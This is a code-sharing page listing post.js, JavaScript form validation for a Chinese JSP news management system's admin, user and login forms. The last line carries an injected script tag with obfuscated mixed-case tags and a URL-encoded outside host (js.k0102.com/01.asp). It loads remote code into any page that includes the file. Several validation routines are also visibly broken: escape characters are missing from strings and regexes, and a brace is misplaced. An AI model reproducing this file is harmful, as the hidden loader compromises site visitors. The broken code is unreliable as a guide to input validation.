post.js
上传用户:sdtxjx
上传日期:2022-07-09
资源大小:2937k
文件大小:17k
源码类别:

Jsp/Servlet

开发平台:

Java

  1. // JavaScript Document
  2. //按Ctrl+Enter)提交表单
  3. function BigPressKey(eventobject)
  4. {
  5. if(event.ctrlKey && window.event.keyCode==13)
  6. {
  7. if(CheckBigClass())  this.document.BigClass.submit();
  8. }
  9. }
  10. //小类新闻中按(Ctrl+Enter)提交表单
  11. function SPressKey(eventobject)
  12. {
  13. if(event.ctrlKey && window.event.keyCode==13)
  14. {
  15. if(CheckSClass())  this.document.SmallClass.submit();
  16. }
  17. }
  18. //小类新闻中按(Ctrl+Enter)提交表单
  19. function SpPressKey(eventobject)
  20. {
  21. if(event.ctrlKey && window.event.keyCode==13)
  22. {
  23. if(CheckSpecial())  this.document.Special.submit();
  24. }
  25. }
  26. //下拉分页
  27. function MM_jumpMenu(targ,selObj,restore){  //v3.0
  28.   eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  29.   if (restore) selObj.selectedIndex=0;
  30. }
  31. // 显示无模式对话框
  32. function ShowDialog(url, width, height) {
  33. var arr = window.showModalDialog(url, window, "dialogWidth:" + width + "px;dialogHeight:" + height + "px;help:no;scroll:no;status:no");
  34. ShowDialog = arr;
  35. }
  36. /*****************************************************  
  37.  *  函数名:DateCheck()
  38.  *  作  用:检查字符中是否在指定的大小范围内和是否含有非法字符
  39.  * 参  数:date: 要检查的字符;
  40.  *          minum:  字符最小的长度
  41.  *   maxnum: 字符最大的长度
  42.  *  返回值:True:   数据不在指定范围内或含有非法字符
  43.  * False:  数据在指定范围内且不含有非法字符
  44.  ******************************************************
  45. */
  46. function DateCheck(date,minnum,maxnum)
  47. {
  48. if (date.length < minnum || date.length > maxnum ){
  49. window.alert("输入数据的长度不能少于 " + minnum + " 位并且不能大于 " + maxnum + " 位!");
  50. return true;
  51. }
  52.  a = date.indexOf("'");
  53.  b = date.indexOf("|");
  54.  c = date.indexOf(""");
  55.  
  56.  if (a != -1||b != -1 ||c != -1){
  57.    window.alert("您的输入含有特殊字符,请重新输入!");
  58.    return true;
  59.    }
  60. return false;
  61. }
  62. /*****************************************************  
  63.  *  函数名: IsNum()
  64.  *  作  用:检查字符是否是纯数字
  65.  * 参  数:str: 要检查的字符;  
  66.  *  返回值:True:   是数字
  67.  * False:  不是纯数字
  68.  ******************************************************
  69. */
  70. function IsNum(str)
  71. {
  72. return !/D/.test(str)
  73. }
  74. /*****************************************************  
  75.  *  函数名: IsStr()
  76.  *  作  用:检查字符是否是字符
  77.  * 参  数:str: 要检查的字符  
  78.  *  返回值:True:   是字符
  79.  * False:  不是纯字符
  80.  ******************************************************
  81. */
  82. function IsStr(str)
  83. {      
  84.   if (/[^x00-xff]/g.test(str))
  85. {
  86. return false;
  87. }
  88.   else 
  89. {
  90. return true;
  91. }
  92. }
  93. /*****************************************************  
  94.  *  函数名:IsEmail()
  95.  *  作  用:检查Email地址是否合法
  96.  * 参  数:date: 要检查的Email地址  
  97.  *  返回值:True: Email 地址合法
  98.  *          False:Email 地址不合法
  99.  *****************************************************
  100. */
  101. function IsEmail(vEMail)
  102. {
  103. var regInvalid=/(@.*@)|(..)|(@.)|(.@)|(^.)/;
  104. var regValid=/^.+@([?)[a-zA-Z0-9-.]+.([a-zA-Z]{2,3}|[0-9]{1,3})(]?)$/;
  105. return (!regInvalid.test(vEMail)&&regValid.test(vEMail));
  106. }
  107. /*****************************************************  
  108.  *  函数名:CheckBigClass()
  109.  *  作  用:检查大类信息
  110.  * 参  数:无 
  111.  *  返回值:True: 验证通过
  112.  *          False: 验证没有通过
  113.  ******************************************************
  114. */
  115. function CheckBigClass(){
  116.     var CheckBigClass = false;
  117. var BigClassID = document.BigClass.BigClassID.value;
  118. if (BigClassID=="")
  119. {
  120.    alert("请输入大类排序!");
  121.    document.BigClass.BigClassID.focus();
  122.    return false;
  123.  }
  124. if(!IsNum(BigClassID))
  125. {
  126. alert("您输入的大类排序不是整数!");
  127. document.BigClassID.focus();
  128. document.BigClass.BigClassID.value = "";
  129. return false;
  130. }
  131. if(DateCheck(BigClassID,1,4))
  132. {
  133. document.BigClass.BigClassID.focus();
  134. document.BigClass.BigClassID.value = "";
  135. return false;
  136. }
  137. var BigClassName = document.BigClass.BigClassName.value;
  138. if (BigClassName=="")
  139. {
  140.    alert("请输入大类标题!");
  141.    document.BigClass.BigClassName.focus();
  142.    return false;
  143.  }
  144. if(DateCheck(BigClassName,1,30))
  145. {
  146. document.BigClass.BigClassName.focus();
  147. document.BigClass.BigClassName.value = "";
  148. return false;
  149. }
  150. var BigClassInfo = document.BigClass.BigClassInfo.value;
  151. if (BigClassInfo=="")
  152. {
  153.    alert("请输入大类的说明!");
  154.    document.BigClass.BigClassInfo.focus();
  155.    return false;
  156.  }
  157. if(DateCheck(BigClassInfo,1,200))
  158. {
  159. document.BigClass.BigClassInfo.focus();
  160. return false;
  161. }
  162.    return true;
  163. }
  164. /*****************************************************  
  165.  *  函数名:CheckSClass()
  166.  *  作  用:检查小类信息
  167.  * 参  数:无 
  168.  *  返回值:True: 验证通过
  169.  *          False: 验证没有通过
  170.  ******************************************************
  171. */
  172. function CheckSClass(){
  173.     var CheckSClass = false;
  174. var BigClassID = document.SmallClass.BigClassID.value;
  175. if (BigClassID=="")
  176. {
  177.    alert("请选择大类!");
  178.    document.SmallClass.BigClassID.focus();
  179.    return false;
  180.  }
  181. var SClassName = document.SmallClass.SClassName.value;
  182. if (SClassName=="")
  183. {
  184.    alert("请输入小类标题!");
  185.    document.SmallClass.SClassName.focus();
  186.    return false;
  187.  }
  188. if(DateCheck(SClassName,2,30))
  189. {
  190. document.SmallClass.SClassName.focus();
  191. document.SmallClass.SClassName.value = "";
  192. return false;
  193. }
  194. var SClassInfo = document.SmallClass.SClassInfo.value;
  195. if (SClassInfo=="")
  196. {
  197.    alert("请输入小类的说明!");
  198.    document.SmallClass.SClassInfo.focus();
  199.    return false;
  200.  }
  201. if(DateCheck(SClassInfo,1,200))
  202. {
  203. document.SmallClass.SClassInfo.focus();
  204. return false;
  205. }
  206.    return true;
  207. }
  208. /*****************************************************  
  209.  *  函数名:CheckSpecial()
  210.  *  作  用:检查专题信息
  211.  * 参  数:无 
  212.  *  返回值:True: 验证通过
  213.  *          False: 验证没有通过
  214.  ******************************************************
  215. */
  216. function CheckSpecial(){
  217.     var CheckSpecial = false;
  218. var SpecialName = document.Special.SpecialName.value;
  219. if (SpecialName=="")
  220. {
  221.    alert("请输入专题名称!");
  222.    document.Special.SpecialName.focus();
  223.    return false;
  224.  }
  225. if(DateCheck(SpecialName,1,30))
  226. {
  227. document.Special.SpecialName.focus();
  228. document.Special.SpecialName.value = "";
  229. return false;
  230. }
  231. var SpecialInfo = document.Special.SpecialInfo.value;
  232. if (SpecialInfo=="")
  233. {
  234.    alert("请输入专题的说明!");
  235.    document.Special.SpecialInfo.focus();
  236.    return false;
  237.  }
  238. if(DateCheck(SpecialInfo,1,200))
  239. {
  240. document.Special.SpecialInfo.focus();
  241. return false;
  242. }
  243.    return true;
  244. }
  245. /*****************************************************  
  246.  *  函数名:CheckNews()
  247.  *  作  用:检查新闻表单信息
  248.  * 参  数:无 
  249.  *  返回值:True: 验证通过
  250.  *          False: 验证没有通过
  251.  ******************************************************
  252. */
  253. function CheckNews(){
  254.     var CheckNews = false;
  255. var BigClassID = document.AddNews.BigClassID.value;
  256. var SClassID = document.AddNews.SClassID.value;
  257. var SpecialID = document.AddNews.SpecialID.value;
  258. if (BigClassID=="" && SpecialID=="")
  259. {   
  260.    alert("新闻类别和专题不能同时为空!");
  261.    document.AddNews.BigClassID.focus();
  262.    return false;
  263.  }
  264. if (BigClassID!="" && SClassID=="")
  265. {
  266.    alert("请选择新闻小类!");
  267.    document.AddNews.SClassID.focus();
  268.    return false;
  269.  }
  270. var NewsTitle = document.AddNews.NewsTitle.value;
  271. if (NewsTitle=="")
  272. {
  273.    alert("请输入新闻标题!");
  274.    document.AddNews.NewsTitle.focus();
  275.    return false;
  276.  }
  277. if(DateCheck(NewsTitle,2,60))
  278. {
  279. document.AddNews.NewsTitle.focus();
  280. document.AddNews.NewsTitle.value = "";
  281. return false;
  282. }
  283. var NewsAuthor = document.AddNews.NewsAuthor.value;
  284. if (NewsAuthor=="")
  285. {
  286.    alert("请输入新闻发布人!");
  287.    document.AddNews.NewsAuthor.focus();
  288.    return false;
  289.  }
  290. if(DateCheck(NewsAuthor,1,20))
  291. {
  292. document.AddNews.NewsAuthor.focus();
  293. document.AddNews.NewsAuthor.value = "";
  294. return false;
  295. }
  296. var NewsFrom = document.AddNews.NewsFrom.value;
  297. if (NewsFrom=="")
  298. {
  299.    alert("请输入新闻出处!");
  300.    document.AddNews.NewsFrom.focus();
  301.    return false;
  302.  }
  303. if(DateCheck(NewsFrom,2,60))
  304. {
  305. document.AddNews.NewsFrom.focus();
  306. document.AddNews.NewsFrom.value = "";
  307. return false;
  308. }
  309. //getHTML()为eWebEditor自带的接口函数,功能为取编辑区的内容
  310. if (DreamEditor.getHTML()==""){
  311. alert("新闻内容不能为空!");
  312. return false;
  313. }
  314. // 表单有效性检测完后,自动上传远程文件
  315. // 函数:remoteUpload(strEventUploadAfter)
  316. // 参数:strEventUploadAfter ; 上传完后,触发的函数名,如果上传完后不需动作可不填参数
  317. //DreamEditor.remoteUpload();
  318. //document.AddNews.NewsContent.value = DreamEditor.getHTML();
  319. return true;
  320. }
  321. /*****************************************************  
  322.  *  函数名:CheckUser()
  323.  *  作  用:检查用户表单信息
  324.  * 参  数:无 
  325.  *  返回值:True: 验证通过
  326.  *          False: 验证没有通过
  327.  ******************************************************
  328. */
  329. function CheckUser(){
  330.     var CheckUser = false;
  331. var AdminName = document.User.AdminName.value;
  332. if (AdminName=="")
  333. {
  334.    alert("用户名不能为空!");
  335.    document.User.AdminName.focus();
  336.    return false;
  337.  }
  338. if(DateCheck(AdminName,3,16))
  339. {
  340. document.User.AdminName.focus();
  341. document.User.AdminName.value = "";
  342. return false;
  343. }
  344. var AdminPwd = document.User.AdminPwd.value;
  345. if (AdminPwd=="")
  346. {
  347.    alert("请输入管理员密码!");
  348.    document.User.AdminPwd.focus();
  349.    return false;
  350.  }
  351. if(DateCheck(AdminPwd,4,16))
  352. {
  353. document.User.AdminPwd.focus();
  354. document.User.AdminPwd.value = "";
  355. return false;
  356. }
  357. var AdminPwd2 = document.User.AdminPwd2.value;
  358. if (AdminPwd2=="")
  359. {
  360.    alert("请再输入一次新密码!");
  361.    document.User.AdminPwd2.focus();
  362.    return false;
  363.  }
  364. if(DateCheck(AdminPwd2,4,16))
  365. {
  366. document.User.AdminPwd.focus();
  367. document.User.AdminPwd.value = "";
  368. return false;
  369. }
  370. if (AdminPwd != AdminPwd2) 
  371. {
  372. alert("你两次输入的密码不一致,请重输入!");
  373. document.User.AdminPwd.focus();
  374. document.User.AdminPwd.value = "";
  375. document.User.AdminPwd2.value = "";
  376. return false;
  377. }
  378. var UserName = document.User.UserName.value;
  379. if (UserName=="")
  380. {
  381.    alert("真实姓名不能为空!");
  382.    document.User.UserName.focus();
  383.    return false;
  384.  }
  385. if(DateCheck(UserName,2,16))
  386. {
  387. document.User.UserName.focus();
  388. document.User.UserName.value = "";
  389. return false;
  390. }
  391. var UserEmail = document.User.UserEmail.value;
  392. if (UserEmail=="")
  393. {
  394.    alert("请输入电子邮件!");
  395.    document.User.UserEmail.focus();
  396.    return false;
  397.  }
  398. if(!IsEmail(UserEmail ))
  399. {
  400. alert("请输入正确的电子邮箱!");
  401. document.User.UserEmail .focus();
  402. document.User.UserEmail .value = "";
  403. return false;
  404. }
  405. var UserQQ = document.User.UserQQ.value;
  406. if (UserQQ != "") 
  407. {
  408. if(!IsNum(UserQQ))
  409. {
  410. alert("您输入的QQ不是纯数字,如果没有QQ请不要填写!");
  411. document.User.UserQQ.focus();
  412. document.User.UserQQ.value = "";
  413. return false;
  414. }
  415. if(DateCheck(UserQQ,4,10))
  416. {
  417. document.User.UserQQ.focus();
  418. document.User.UserQQ.value = "";
  419. return false;
  420. }
  421. }
  422. }
  423. /*****************************************************  
  424.  *  函数名:CheckEditUser()
  425.  *  作  用:检查用户表单信息
  426.  * 参  数:无 
  427.  *  返回值:True: 验证通过
  428.  *          False: 验证没有通过
  429.  ******************************************************
  430. */
  431. function CheckEditUser(){
  432.     var CheckEditUser = false;
  433. var AdminPwd = document.User.AdminPwd.value;
  434. if (AdminPwd!="")
  435. {
  436. if(DateCheck(AdminPwd,4,16))
  437. {
  438. document.User.AdminPwd.focus();
  439. document.User.AdminPwd.value = "";
  440. return false;
  441. }
  442. var AdminPwd2 = document.User.AdminPwd2.value;
  443. if (AdminPwd2=="")
  444. {
  445.    alert("请再输入一次新密码!");
  446.    document.User.AdminPwd2.focus();
  447.    return false;
  448.  }
  449. if(DateCheck(AdminPwd2,4,16))
  450. {
  451. document.User.AdminPwd.focus();
  452. document.User.AdminPwd.value = "";
  453. return false;
  454. }
  455. if (AdminPwd != AdminPwd2) 
  456. {
  457. alert("你两次输入的密码不一致,请重输入!");
  458. document.User.AdminPwd.focus();
  459. document.User.AdminPwd.value = "";
  460. document.User.AdminPwd2.value = "";
  461. return false;
  462. }
  463. }
  464. var UserName = document.User.UserName.value;
  465. if (UserName=="")
  466. {
  467.    alert("真实姓名不能为空!");
  468.    document.User.UserName.focus();
  469.    return false;
  470.  }
  471. if(DateCheck(UserName,3,16))
  472. {
  473. document.User.UserName.focus();
  474. document.User.UserName.value = "";
  475. return false;
  476. }
  477. var UserEmail = document.User.UserEmail.value;
  478. if (UserEmail=="")
  479. {
  480.    alert("请输入电子邮件!");
  481.    document.User.UserEmail.focus();
  482.    return false;
  483.  }
  484. if(!IsEmail(UserEmail ))
  485. {
  486. alert("请输入正确的电子邮箱!");
  487. document.User.UserEmail .focus();
  488. document.User.UserEmail .value = "";
  489. return false;
  490. }
  491. var UserQQ = document.User.UserQQ.value;
  492. if (UserQQ != "") 
  493. {
  494. if(!IsNum(UserQQ))
  495. {
  496. alert("您输入的QQ不是纯数字,如果没有QQ请不要填写!");
  497. document.User.UserQQ.focus();
  498. document.User.UserQQ.value = "";
  499. return false;
  500. }
  501. if(DateCheck(UserQQ,4,10))
  502. {
  503. document.User.UserQQ.focus();
  504. document.User.UserQQ.value = "";
  505. return false;
  506. }
  507. }
  508. }
  509. /*****************************************************  
  510.  *  函数名:CheckPerson()
  511.  *  作  用:检查用户表单信息
  512.  * 参  数:无 
  513.  *  返回值:True: 验证通过
  514.  *          False: 验证没有通过
  515.  ******************************************************
  516. */
  517. function CheckPerson(){
  518.     var CheckPerson = false;
  519. var UserName = document.User.UserName.value;
  520. if (UserName=="")
  521. {
  522.    alert("真实姓名不能为空!");
  523.    document.User.UserName.focus();
  524.    return false;
  525.  }
  526. if(DateCheck(UserName,3,16))
  527. {
  528. document.User.UserName.focus();
  529. document.User.UserName.value = "";
  530. return false;
  531. }
  532. var UserEmail = document.User.UserEmail.value;
  533. if (UserEmail=="")
  534. {
  535.    alert("请输入电子邮件!");
  536.    document.User.UserEmail.focus();
  537.    return false;
  538.  }
  539. if(!IsEmail(UserEmail ))
  540. {
  541. alert("请输入正确的电子邮箱!");
  542. document.User.UserEmail .focus();
  543. document.User.UserEmail .value = "";
  544. return false;
  545. }
  546. var UserQQ = document.User.UserQQ.value;
  547. if (UserQQ != "") 
  548. {
  549. if(!IsNum(UserQQ))
  550. {
  551. alert("您输入的QQ不是纯数字,如果没有QQ请不要填写!");
  552. document.User.UserQQ.focus();
  553. document.User.UserQQ.value = "";
  554. return false;
  555. }
  556. if(DateCheck(UserQQ,4,10))
  557. {
  558. document.User.UserQQ.focus();
  559. document.User.UserQQ.value = "";
  560. return false;
  561. }
  562. }
  563. }
  564. /*****************************************************  
  565.  *  函数名:CheckModPwd()
  566.  *  作  用:修改密码表单数据验证
  567.  * 参  数:无 
  568.  *  返回值:True: 验证通过
  569.  *          False: 验证没有通过
  570.  *****************************************************
  571. */
  572. function CheckModPwd()
  573. {
  574. var OldPwd = document.User.OldPwd.value;
  575. if (OldPwd == "") {
  576. alert("请输入你的旧密码!");
  577. document.User.OldPwd.focus();
  578. return false;
  579. }
  580. if(DateCheck(OldPwd,4,16)){
  581. document.User.OldPwd.focus();
  582. document.User.OldPwd.value = "";
  583. return false;
  584. }
  585. var AdminPwd = document.User.AdminPwd.value;
  586. if (AdminPwd == "") {
  587. alert("新密码不能为空!");
  588. document.User.AdminPwd.focus();
  589. return false;
  590. if(DateCheck(AdminPwd,4,16)){
  591. document.User.AdminPwd.focus();
  592. document.User.AdminPwd.value = "";
  593. return false;
  594. }
  595. var AdminPwd2 = document.User.AdminPwd2.value; 
  596. if (AdminPwd2 == "") {
  597. alert("请确认新密码!");
  598. document.User.AdminPwd2.focus();
  599. return false;
  600.       }
  601.   
  602. if(DateCheck(AdminPwd2,4,16)){
  603. document.User.AdminPwd2.focus();
  604. document.User.AdminPwd2.value = "";
  605. return false;
  606. }
  607.  
  608. if (AdminPwd != AdminPwd2) {
  609. alert("你两次输入的密码不一致,请重输入!");
  610. document.User.AdminPwd.focus();
  611. document.User.AdminPwd.value = "";
  612. document.User.AdminPwd2.value = "";
  613. return false;
  614. }
  615.  
  616.   return true;
  617.   }    
  618.  
  619.  
  620.  
  621.  
  622. /*****************************************************  
  623.  *  函数名:LoginCheck()
  624.  *  作  用:登录表单数据验证
  625.  * 参  数:无 
  626.  *  返回值:True: 验证通过
  627.  *          False: 验证没有通过
  628.  *****************************************************
  629. */
  630.  function LoginCheck()
  631.  {
  632. var LoginCheck = false;
  633. var User = document.form.User.value;
  634. if (User == "") {
  635. alert("请输入你的用户名!");
  636. document.form.User.focus();
  637. return false;
  638. }
  639. if(DateCheck(User,3,16)){
  640. document.form.User.focus();
  641. document.form.User.value = "";
  642. return false;
  643. }
  644. var Pwd = document.form.Pwd.value;
  645. if (Pwd == "") {
  646. alert("请输入你的密码!");
  647. document.form.Pwd.focus();
  648. return false;
  649. }
  650. if(DateCheck(Pwd,4,16)){
  651. document.form.Pwd.focus();
  652. document.form.Pwd.value = "";
  653. return false;
  654. }
  655. var VerifyCode = document.form.VerifyCode.value;
  656. if (VerifyCode == "" || VerifyCode.length != 4) {
  657. alert("请输入正确的验证码!");
  658. document.form.VerifyCode.focus();
  659. return false;
  660. }
  661.   return true;
  662.   }  
  663.   
  664.  /*****************************************************  
  665.  *  函数名:CheckConfig()
  666.  *  作  用:系统参数设置表单数据验证
  667.  * 参  数:无 
  668.  *  返回值:True: 验证通过
  669.  *          False: 验证没有通过
  670.  *****************************************************
  671. */
  672.  function CheckConfig()
  673.  {
  674. var LoginCheck = false;
  675.  
  676.  
  677.  }
  678.   
  679. <ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>